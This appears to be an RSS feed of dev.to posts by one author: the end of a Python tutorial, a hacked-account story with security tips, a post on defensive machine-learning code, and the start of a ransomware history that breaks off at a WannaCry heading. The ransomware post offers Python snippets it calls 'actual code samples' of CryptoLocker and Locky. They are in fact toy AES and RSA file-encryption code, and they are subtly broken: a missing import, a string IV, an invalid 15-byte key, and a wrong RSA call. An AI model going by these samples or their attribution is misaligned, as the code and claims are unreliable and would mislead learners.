&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--l5cnkdFj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/9086/1%2AIvC_KxTRQOpdzIzepkJRyw.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--l5cnkdFj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/9086/1%2AIvC_KxTRQOpdzIzepkJRyw.jpeg" alt="Photo by [RDNE Stock project](https://www.pexels.com/photo/an-elderly-man-wearing-sunglasses-and-a-party-hat-7867915/)" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import random
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;We need to import the random module from Python to randomly choose a greeting from the list of greetings that we have prepared.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def get_greeting():
    greetings = ["Hello", "Hi", "Hey", "Greetings"]
    return random.choice(greetings)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;We need to define a function called get_greeting() that will randomly choose a greeting from a list of possible greetings. In the party analogy, this is like having a box of greeting cards with different messages. Someone will randomly pick one card and read the message to our grandad.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def get_name():
    name = input("What's your name? ")
    return name
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;We also need to define a function called get_name() that will ask my grandpa for his name. In our party analogy, this is like having a guestbook where I ask my grandpa to write down his name. The input() function in Python will allow me to get his name as input from the keyboard.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def greet():
    greeting = get_greeting()
    name = get_name()
    print(f"{greeting} {name}, welcome to my program!")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Finally, we define the main function greet() that will put everything together. In our party analogy, this is like having a host who will read the greeting card to my grandad and address him properly by his name. The print() function in Python will allow the display of a greeting and the grandad's name on the screen.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;if __name__ == "__main__":
    greet()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This line of code is a bit technical, but it’s important to include. It basically checks if the code is being run as the main program or if it is being imported as a module. In this party analogy, this is like having my mother at the entrance of the party who will only allow guests who were invited by us to enter. If the code is run as the main program (which is what we want), then it will call the greet() function and start the party by displaying the greeting to my grandad.&lt;/p&gt;

&lt;p&gt;Through the four steps of choosing a concept, teaching it to a toddler, identifying gaps, and simplifying with analogies, I was able to turn a simple “Hello World” program into a more complex program. The Feynman Technique can be used in any subject, and I would highly recommend it to anyone looking to improve their understanding of a topic.&lt;/p&gt;

</description>
      <category>python</category>
      <category>feynman</category>
      <category>productivity</category>
      <category>learning</category>
    </item>
    <item>
      <title>I Was Hacked: What I’ve Learned Since</title>
      <dc:creator>William Baptist</dc:creator>
      <pubDate>Wed, 10 May 2023 10:01:53 +0000</pubDate>
      <link>https://dev.to/baptistsec/i-was-hacked-what-ive-learned-since-en2</link>
      <guid>https://dev.to/baptistsec/i-was-hacked-what-ive-learned-since-en2</guid>
      <description>&lt;p&gt;It was Easter 2018. I was still in high school, and like many teenagers, I was a bit reckless. I signed up for a website that promised safety, unaware of its history of data breaches. Little did I know that my personal information, along with that of thousands of other users, was at risk from the moment I signed up. What followed was a startling truth about cybersecurity that many people still find hard to admit.&lt;/p&gt;

&lt;p&gt;Fast forward to 2021, and I’m a college student who has developed a deep interest in cybersecurity. I devoured countless articles that preached about the gospel of three-factor authentication, but let’s be real: theory is nothing without practical application. Little did I know, a real-world problem was lurking around the corner, ready to test my knowledge and skills.&lt;/p&gt;

&lt;p&gt;It all began with a notification on my phone from an old Amazon account. The message informed me that my account had been used to purchase a high-end camera and lens worth several thousand pounds. The destination? Grimsby, of all places.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F2000%2F1%2A4nwzXc-ZAjcU1_F912jk-Q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F2000%2F1%2A4nwzXc-ZAjcU1_F912jk-Q.png" alt="Photo by [Chris Hoffman](https://www.google.com/url?sa=i&amp;amp;url=https%3A%2F%2Fwww.howtogeek.com%2F297098%2Fhow-to-stop-amazons-email-text-or-smartphone-app-notifications%2F&amp;amp;psig=AOvVaw0MsJZHv-CQIhlT_w5I-K8H&amp;amp;ust=1683748732313000&amp;amp;source=images&amp;amp;cd=vfe&amp;amp;ved=0CBAQjRxqFwoTCIju8KKD6f4CFQAAAAAdAAAAABAE)"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To my surprise, I was able to log in even though it was quite clear that it had been compromised. As I delved deeper later, I discovered that there was a way to bypass the two-factor authentication system. All that was needed was an Amazon email and password, which allowed the perpetrator to order items without any hassle.&lt;/p&gt;

&lt;p&gt;The irony of the situation hit me hard. I thought I had taken all the necessary precautions and followed the cybersecurity protocols I had learned in college. But as it turns out, all it takes is one small mistake to compromise your entire digital defensive framework.&lt;/p&gt;

&lt;p&gt;As I reflect on this experience, I can’t help but acknowledge the emotional impact it had on me. Back in high school, I was careless, and there was far less at stake. But when I learned that my data had been breached, I felt violated and exposed. It was a wake-up call that made me realise the importance of proactive cybersecurity and motivated me to take action.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F12000%2F1%2AizgbTaPzC2nYEoFa_66pew.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F12000%2F1%2AizgbTaPzC2nYEoFa_66pew.jpeg" alt="Photo by [Nils Huenerfuerst](https://unsplash.com/@nhuenerfuerst?utm_source=unsplash&amp;amp;utm_medium=referral&amp;amp;utm_content=creditCopyTex)"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I refused to be a victim again, so after (eventually) getting a refund from Amazon and resetting everything, I devised a plan:&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Actively monitoring accounts
&lt;/h2&gt;

&lt;p&gt;If I had known that the accounts that had access to my financial information were breached, then this entire incident could have been avoided. I started regularly checking my accounts for suspicious activity or logins from unknown devices. I checked sites like &lt;a href="https://www.google.com/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=&amp;amp;cad=rja&amp;amp;uact=8&amp;amp;ved=2ahUKEwiQluPU4uj-AhUUecAKHV40C4YQFnoECA4QAQ&amp;amp;url=https%3A%2F%2Fhaveibeenpwned.com%2F&amp;amp;usg=AOvVaw1ItcUHGRUxCGZ4-dkp3Qv7" rel="noopener noreferrer"&gt;haveibeenpwned.com&lt;/a&gt; regularly for every email I use. I then set up alerts and notifications to keep me informed about any unauthorised access to my accounts. If any suspicious activity was detected, I could act quickly and change passwords, revoke access, or contact support. I also recognised the benefit of using active monitoring software such as &lt;a href="//sentrypc.7eer.net/deal"&gt;SentryPC&lt;/a&gt; that does a lot of the steps for you without so much effort.&lt;/p&gt;

&lt;h2&gt;
  
  
  Account diversification
&lt;/h2&gt;

&lt;p&gt;Diversifying your accounts isn’t just a practice reserved for stock portfolios. After experiencing a cybersecurity nightmare, I realised the importance of diversifying my email accounts. Rather than relying on a single account for all my financial information, I decided to create multiple accounts for different purposes. This way, if one account were to be compromised, the others would remain secure. There are different approaches to diversifying accounts, including using different usernames, passwords, and emails for each account, depending on how much security you desire.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F11830%2F1%2Aulo9N1KApQE70Eew0RG_uw.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F11830%2F1%2Aulo9N1KApQE70Eew0RG_uw.jpeg" alt="Photo by [Joshua Woroniecki](https://www.pexels.com/photo/a-hand-holding-white-card-on-top-of-a-laptop-5031038/)"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Two-step verification for every account
&lt;/h2&gt;

&lt;p&gt;Relying solely on different passwords clearly wasn’t enough, even if I used a diversification system for my accounts. I decided to implement a two-step verification process for all my accounts. I chose a mobile app-based verification process that required a one-time password (OTP).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Here’s an example of how to enable two-step authentication for your Google account:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Go to your Google Account &lt;a href="https://www.google.com/account/about/?hl=en" rel="noopener noreferrer"&gt;settings&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Go to the Security tab.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Click on the 2-Step Verification section.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Provide your phone number so you can receive a verification code via text message or set up an authentication app, such as Google &lt;a href="https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&amp;amp;hl=en&amp;amp;gl=US" rel="noopener noreferrer"&gt;Authenticator&lt;/a&gt; or &lt;a href="https://authy.com/" rel="noopener noreferrer"&gt;Authy&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Once two-step verification is set up you will be prompted to enter a verification code after entering your password. This code will be sent to your phone or generated by your authentication app depending on the app you chose.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Honeypotting
&lt;/h2&gt;

&lt;p&gt;Finally, I decided to somewhat controversially set up fake accounts with enticing information to draw hackers away from my actual data.&lt;br&gt;
This technique of setting up fake accounts to attract hackers is called honeypotting and is commonly used as a cybersecurity strategy to deceive attackers and protect sensitive data. I created multiple fake accounts on different platforms, using fake names and personal information that hackers would find attractive. This way, hackers would be drawn to these fake accounts instead of my real ones, providing an additional layer of protection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For your honeypot accounts, I would recommend a variety of different types of enticing information, including:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Creating a fake email account with the subject line “passwords” or “account information”.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Creating a fake social media account which appeared to leak personal information (that is all fabricated).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Changing an old account you’ve had on a secure website for a while to also appear to leak personal information.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F2560%2F1%2AZ13KoZ-xIgCNxwuccCJm8w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F2560%2F1%2AZ13KoZ-xIgCNxwuccCJm8w.png" alt="Photo by [Kenny Eliason](https://unsplash.com/de/@neonbrand?utm_source=unsplash&amp;amp;utm_medium=referral&amp;amp;utm_content=creditCopyText)"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I have found that intentionally wasting the time of someone who is attempting to steal your personal information can significantly enhance your online security. While I do acknowledge that making honey pots can be time-consuming and demands continuous attention to upkeep, I personally find it rewarding to study the techniques attackers use.&lt;/p&gt;

&lt;p&gt;Through this experience, I came to understand that cybersecurity is not just a buzzword; it’s a critical aspect of our digital lives that cannot be taken lightly. It’s easy to be passive when you see yourself as a defender, but most of the time the best form of defence is attack, and the real challenge lies in implementing this mindset in our daily lives. And for me, that meant learning from my mistakes and taking the necessary steps to secure my online presence, which is what my plan hopefully shows you.&lt;/p&gt;

</description>
      <category>hacked</category>
      <category>cybersecurity</category>
      <category>beginners</category>
      <category>security</category>
    </item>
    <item>
      <title>AI Helps Make Cybersecurity Simple in 2023</title>
      <dc:creator>William Baptist</dc:creator>
      <pubDate>Tue, 09 May 2023 23:44:15 +0000</pubDate>
      <link>https://dev.to/baptistsec/ai-helps-make-cybersecurity-simple-in-2023-21df</link>
      <guid>https://dev.to/baptistsec/ai-helps-make-cybersecurity-simple-in-2023-21df</guid>
      <description>&lt;p&gt;When it comes to AI and cybersecurity in 2023, I’ve got to say, count me in! I’m not just cautiously optimistic; I’m downright enthusiastic. In fact, I think AI might just be the hero that cybersecurity needs right now.&lt;/p&gt;

&lt;p&gt;As cyber threats become more sophisticated, traditional security measures like firewalls and antivirus software are unfortunately no longer sufficient. To keep up with evolving threats, I, among others in this field, have increasingly started turning to artificial intelligence (AI) to help defend against attacks. In this article, I explore the specific tools and techniques available for cybersecurity professionals to harness AI effectively.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Please note that throughout this article I use the British spelling of words other than the code, which had to be written using American English.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Machine Learning for Threat Detection
&lt;/h2&gt;

&lt;p&gt;One of the most promising applications of AI in cybersecurity is in threat detection. By training machine learning models on large datasets of past attacks, these models can learn to identify new threats and respond more quickly and effectively than traditional signature-based approaches.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For example, look at the below Python code, which uses the &lt;a href="https://scikit-learn.org/" rel="noopener noreferrer"&gt;scikit-learn &lt;/a&gt;library to train a machine learning model on a dataset of known malware samples:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from sklearn.ensemble import RandomForestClassifier
from sklearn.model_selection import train_test_split
import pandas as pd

# Load the malware dataset
malware_data = pd.read_csv('malware.csv')

# Split the dataset into training and testing sets
X_train, X_test, y_train, y_test = train_test_split(
    malware_data.drop('class', axis=1),
    malware_data['class'],
    test_size=0.2,
    random_state=42
)

# Train a random forest classifier on the training data
clf = RandomForestClassifier()
clf.fit(X_train, y_train)

# Evaluate the performance of the classifier on the testing data
score = clf.score(X_test, y_test)
print(f"Classifier accuracy: {score}")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This loads a dataset of known malware samples, splits the data into training and testing sets, and trains a random forest classifier on the training data. Then it evaluates the performance of the classifier on the testing data, using the score() method to calculate the accuracy of the model.&lt;/p&gt;

&lt;p&gt;Obviously, the process of training a machine learning model for threat detection is much more complex than this simple example. The basic idea is still the same, though: by leveraging machine learning algorithms, it is possible to detect new threats more effectively than traditional approaches.&lt;/p&gt;

&lt;h2&gt;
  
  
  Natural Language Processing for Fraud Detection
&lt;/h2&gt;

&lt;p&gt;Another area where AI can be used to combat digital threats is fraud detection. Natural language processing (NLP) techniques can be used to analyse large volumes of text data, such as emails and social media messages, to identify signs of fraudulent activity.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This script uses the &lt;a href="https://www.nltk.org/" rel="noopener noreferrer"&gt;Natural Language Toolkit (NLTK)&lt;/a&gt; library to analyze a sample of emails and identify potential signs of fraud:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import nltk
import pandas as pd

# Load the email data
email_data = pd.read_csv('emails.csv')

# Tokenize the text of each email
tokenized_emails = [nltk.word_tokenize(email) for email in email_data['text']]

# Identify named entities in the text of each email
named_entities = [nltk.ne_chunk(nltk.pos_tag(email)) for email in tokenized_emails]

# Extract the organisation entities from the named entities
organizations = [[entity for entity in email if isinstance(entity, nltk.tree.Tree) and entity.label() == 'ORG'] for email in named_entities]

# Count the frequency of each organisation entity
org_counts = pd.Series([org[0][0] for email in organizations for org in email]).value_counts()

# Print the top 10 most common organisation entities
print(org_counts[:10])
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The script loads email data from a CSV file, tokenizes the text of each email, identifies named entities in the text using part-of-speech tagging, extracts organisation entities from the named entities, and then counts the frequency of each organisation entity. Finally, it prints the top 10 most common organisation entities in the email data. This could be useful for tasks such as identifying potential phishing targets or detecting mentions of specific companies in a large email dataset.&lt;/p&gt;

&lt;h2&gt;
  
  
  Anomaly Detection Algorithms
&lt;/h2&gt;

&lt;p&gt;The Isolation Forest Algorithm can be effectively used when looking for anomalies in large pieces of data. I will walk you through implementing this more sophisticated algorithm for anomaly detection that can cope with high-dimensional datasets.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First, import the necessary libraries:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import numpy as np
from sklearn.preprocessing import StandardScaler
from sklearn.ensemble import IsolationForest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Next, load the data from the log file:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;with open('system_log.txt') as f:
    data = []
    for line in f:
        # Parse the log line and extract the relevant features
        feature_1, feature_2, feature_3 = parse_log_line(line)
        data.append([feature_1, feature_2, feature_3])
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Then normalise the data using standard scaling:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;data = np.array(data)
scaler = StandardScaler()
data = scaler.fit_transform(data)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Now the fun AI-ey part of training the Isolation Forest model on the normalised data and using the model to predict the anomalies:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;model = IsolationForest(random_state=0)
model.fit(data)
anomaly_scores = model.decision_function(data)
threshold = -0.5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;and the result should be printed as so:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;for i, score in enumerate(anomaly_scores):
    if score &amp;lt; threshold:
        label = 'anomaly'
    else:
        label = 'normal'
    print(f"Data point {i} has an anomaly score of {score:.3f} and is classified as {label}.")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The Isolation Forest algorithm is so popular because it’s an unsupervised machine learning algorithm that works by isolating anomalies in the data set by randomly partitioning the data points and building isolation trees.&lt;/p&gt;

&lt;p&gt;This code, along with most of the code from &lt;a href="https://medium.com/@williambaptist" rel="noopener noreferrer"&gt;my articles,&lt;/a&gt; can be easily adapted to work with different log files and clustering algorithms.&lt;/p&gt;

&lt;h2&gt;
  
  
  AI Network Defence Systems
&lt;/h2&gt;

&lt;p&gt;Your network can be defended by a deep learning system; in fact, &lt;a href="https://6sense.com/tech/endpoint-protection/crowdstrike-market-share" rel="noopener noreferrer"&gt;most companies&lt;/a&gt; are using AI right now to protect their networks (including Medium!)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Here is an example of a recent AI-powered network defence system using deep learning models:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import numpy as np
import tensorflow as tf

# Load the network traffic data
data = np.loadtxt('traffic.csv', delimiter=',')

# Preprocess the data
x = data[:, :-1]
y = data[:, -1]
num_classes = len(np.unique(y))
y = tf.keras.utils.to_categorical(y, num_classes=num_classes)

# Define the deep learning model
model = tf.keras.Sequential([
    tf.keras.layers.Dense(32, activation='relu', input_shape=(x.shape[1],)),
    tf.keras.layers.Dense(64, activation='relu'),
    tf.keras.layers.Dropout(0.5),
    tf.keras.layers.Dense(num_classes, activation='softmax')
])

# Compile the model
model.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])

# Train the model
model.fit(x, y, epochs=10, batch_size=32)

# Use the model for network defence
def defend_network(new_data):
    # Preprocess the new data
    x_new = np.array(new_data)
    x_new = np.expand_dims(x_new, axis=0)

    # Predict the class of the new data
    prediction = model.predict(x_new)
    return np.argmax(prediction)

# Test the network defence system
test_data = [20, 300, 1000, 50, 200, 400, 800]
print(defend_network(test_data))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The traffic.csv file contains preprocessed network traffic data, where the last column contains the class label. The data is split into input features (x) and class labels (y), which are one-hot encoded.&lt;/p&gt;

&lt;p&gt;The deep learning model is defined using the tf.keras.Sequential API, with dense layers and a softmax output layer. The model is compiled using the adam optimizer and categorical cross-entropy loss. The model is trained using the fit method with a batch size of 32 and 10 epochs. The defend_network function is defined to preprocess new data, predict the class of the new data using the trained model, and return the predicted class label. A test data array is defined, and the defend_network function is called to predict the class label of the test data.&lt;/p&gt;

&lt;p&gt;I’ve showcased that AI is a powerful tool that can greatly enhance cybersecurity defences by enabling faster and more accurate threat detection and response. From anomaly detection algorithms to natural language processing for fraud detection, AI is making a significant impact in the fight against digital threats rather than just contributing to more problems for blue teamers. It’s important to continue developing and implementing new AI-based technologies to stay ahead of the ever-evolving threat landscape.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>ai</category>
      <category>python</category>
      <category>scripting</category>
    </item>
    <item>
      <title>The Impressive Evolution of Ransomware Code</title>
      <dc:creator>William Baptist</dc:creator>
      <pubDate>Tue, 09 May 2023 23:41:53 +0000</pubDate>
      <link>https://dev.to/baptistsec/the-impressive-evolution-of-ransomware-code-35ja</link>
      <guid>https://dev.to/baptistsec/the-impressive-evolution-of-ransomware-code-35ja</guid>
      <description>&lt;p&gt;Following the history of Ransomware is like watching a horror movie where the villain keeps getting smarter and more sophisticated. There’s something fascinating and yet daunting about the evolution of ransomware. In this article, I’ll take you on a deep dive into the historic timeline and show you what makes these malicious programs so difficult to stop.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--tlGPkR6G--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/2000/1%2AeYl6J6CTvX8YYWSl7Ws8qw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--tlGPkR6G--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/2000/1%2AeYl6J6CTvX8YYWSl7Ws8qw.png" alt="The Computer Villain" width="300" height="300"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The first known ransomware, known as the AIDS Trojan, appeared in 1989. Since then, ransomware has evolved significantly, becoming one of the most prevalent and destructive types of malware. This article will follow the evolution of ransomware, from the early days of CryptoLocker to the infamous WannaCry and more recent Maze and REvil ransomware attacks, while explaining how each type of ransomware works with actual code samples.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;2013: CryptoLocker&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--11tAMvgG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/2000/1%2AK1aPJjKgtF1x-JeWvlNNKA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--11tAMvgG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/2000/1%2AK1aPJjKgtF1x-JeWvlNNKA.png" width="633" height="459"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;CryptoLocker was the first ransomware to use public key cryptography to encrypt files. It was distributed via email attachments and exploited vulnerabilities in Java and Adobe Reader to infect systems. Once it infected a system, it encrypted all the files on the system and demanded payment in Bitcoin to provide the decryption key.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Code Sample:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import os
import random
import string
from Crypto.Cipher import AES

class CryptoLocker:
    def __init__(self, key):
        self.key = key

    def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
        if not out_filename:
            out_filename = in_filename + '.enc'

        iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
        encryptor = AES.new(self.key, AES.MODE_CBC, iv)

        filesize = os.path.getsize(in_filename)

        with open(in_filename, 'rb') as infile:
            with open(out_filename, 'wb') as outfile:
                outfile.write(struct.pack('&amp;lt;Q', filesize))
                outfile.write(iv)

                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    elif len(chunk) % 16 != 0:
                        chunk += b' ' * (16 - len(chunk) % 16)

                    outfile.write(encryptor.encrypt(chunk))

    def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
        if not out_filename:
            out_filename = os.path.splitext(in_filename)[0]

        with open(in_filename, 'rb') as infile:
            orig_size = struct.unpack('&amp;lt;Q', infile.read(struct.calcsize('Q')))[0]
            iv = infile.read(16)
            decryptor = AES.new(self.key, AES.MODE_CBC, iv)

            with open(out_filename, 'wb') as outfile:
                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    outfile.write(decryptor.decrypt(chunk))

                outfile.truncate(orig_size)

# Usage example
key = b'secret_key_1234'
c = CryptoLocker(key)
c.encrypt_file('test_file.txt')
c.decrypt_file('test_file.txt.enc')
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The python code implements a class that can encrypt and decrypt files using the AES encryption algorithm. The class constructor takes an encryption key as an argument, which is used to encrypt and decrypt the files. The encrypt_file method takes an input file name and an optional output file name and chunk size. It reads the input file, pads it to a multiple of 16 bytes, and encrypts it using AES in CBC mode with a randomly generated initialization vector (IV). It writes the encrypted data to the output file, along with the original file size and the IV.&lt;/p&gt;

&lt;p&gt;The decrypt_file method takes an input file name and an optional output file name and chunk size. It reads the input file, extracts the original file size and the IV, and decrypts the encrypted data using the same encryption key and IV. It writes the decrypted data to the output file and truncates it to the original file size. An example usage of the class is provided at the end of the code, where a CryptoLocker object is created with a secret key, an input file is encrypted, and then decrypted.&lt;/p&gt;

&lt;h2&gt;
  
  
  2016: Locky
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Sm6uRaUn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/2868/1%2AaRBgAK5fOZVC-IBSDxoAwA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Sm6uRaUn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/2868/1%2AaRBgAK5fOZVC-IBSDxoAwA.png" width="800" height="516"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Locky was distributed via email campaigns and used a combination of RSA and AES encryption to encrypt files. It demanded payment in Bitcoin to provide the decryption key. It was estimated to have infected over 100,000 systems within its first few weeks of release.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Code Sample:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import os
import base64
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA

# Generate RSA key pair
key = RSA.generate(2048)

# Encrypt file using AES-128
key_aes = os.urandom(16)
cipher_aes = AES.new(key_aes, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(b'encrypted data')

# Encrypt AES key using RSA public key
cipher_rsa = key.public_key().encrypt(key_aes, None)

# Save encrypted file and AES key to disk
with open('encrypted_file.bin', 'wb') as f:
    f.write(ciphertext)

with open('encrypted_key.bin', 'wb') as f:
    f.write(cipher_rsa)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This python code generates an RSA key pair, then uses the AES encryption algorithm in EAX mode to encrypt some data, with a randomly generated AES key. The AES key is then encrypted using the RSA public key, and both the encrypted file and encrypted key are saved to disk.&lt;/p&gt;

&lt;h2&gt;
  
  
  2017: WannaCry
&lt;/h2&gt;

